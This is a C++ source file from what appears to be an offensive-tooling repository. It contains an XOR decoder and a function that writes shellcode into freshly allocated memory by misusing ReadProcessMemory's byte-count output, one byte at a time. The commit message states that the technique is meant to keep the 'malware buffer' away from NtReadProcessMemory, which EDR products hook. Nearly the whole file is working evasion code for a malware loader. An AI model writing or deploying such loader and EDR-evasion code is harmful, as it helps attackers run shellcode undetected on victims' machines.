Files
chmod760 e7feaad87a Use pDummyBuffer instead of pNewBuffer
Use pDummyBuffer instead of pNewBuffer to avoid send malware buffer to NtReadProcessMemory because usually this function is hooked by EDRs
2025-11-27 14:23:58 +01:00

61 lines
1.7 KiB
C++

#include "handlers.h"
#include "Windows.h"
#include <iostream>
#include <string>
using namespace std;
void XOR(char* payload, char* key, int payload_len, int key_len) {
for (int i = 0; i < payload_len; i++) {
payload[i] = payload[i] ^ key[i % key_len];
}
return;
}
void* CopyReadProcessMemory(char* shellcode, SIZE_T size) {
void* pDummyBuffer = nullptr;
void* pNewBuffer = nullptr;
// Reservamos un buffer "dummy"
pDummyBuffer = malloc(UCHAR_MAX);
if (!pDummyBuffer)
throw std::runtime_error("GetMem failed");
try {
// Reservar memoria en el proceso actual con VirtualAlloc
pNewBuffer = VirtualAlloc(nullptr, size, MEM_COMMIT, PAGE_READWRITE);
std::wcout << L"Pointer at : " << pNewBuffer << "\n";
if (!pNewBuffer)
throw std::runtime_error("VirtualAlloc failed, le:" + std::to_string(GetLastError()));
// Copiar el buffer usando una API no relacionada (ReadProcessMemory)
SIZE_T* pDestOffset = nullptr;
for (SIZE_T I = 0; I < size; ++I) {
pDestOffset = (SIZE_T*)((BYTE*)pNewBuffer + I);
ReadProcessMemory(
GetCurrentProcess(),
pDummyBuffer,
pDummyBuffer,
*((BYTE*)shellcode + I),
(SIZE_T*)pDestOffset
);
}
// Mostrar el resultado
std::wcout << L"Indirectly Copied String (ReadProcessMemory)\n";
}
catch (...) {
if (pDummyBuffer) free(pDummyBuffer);
throw;
}
if (pDummyBuffer) free(pDummyBuffer);
//if (pNewBuffer) VirtualFree(pNewBuffer, 0, MEM_RELEASE);
return pNewBuffer;
}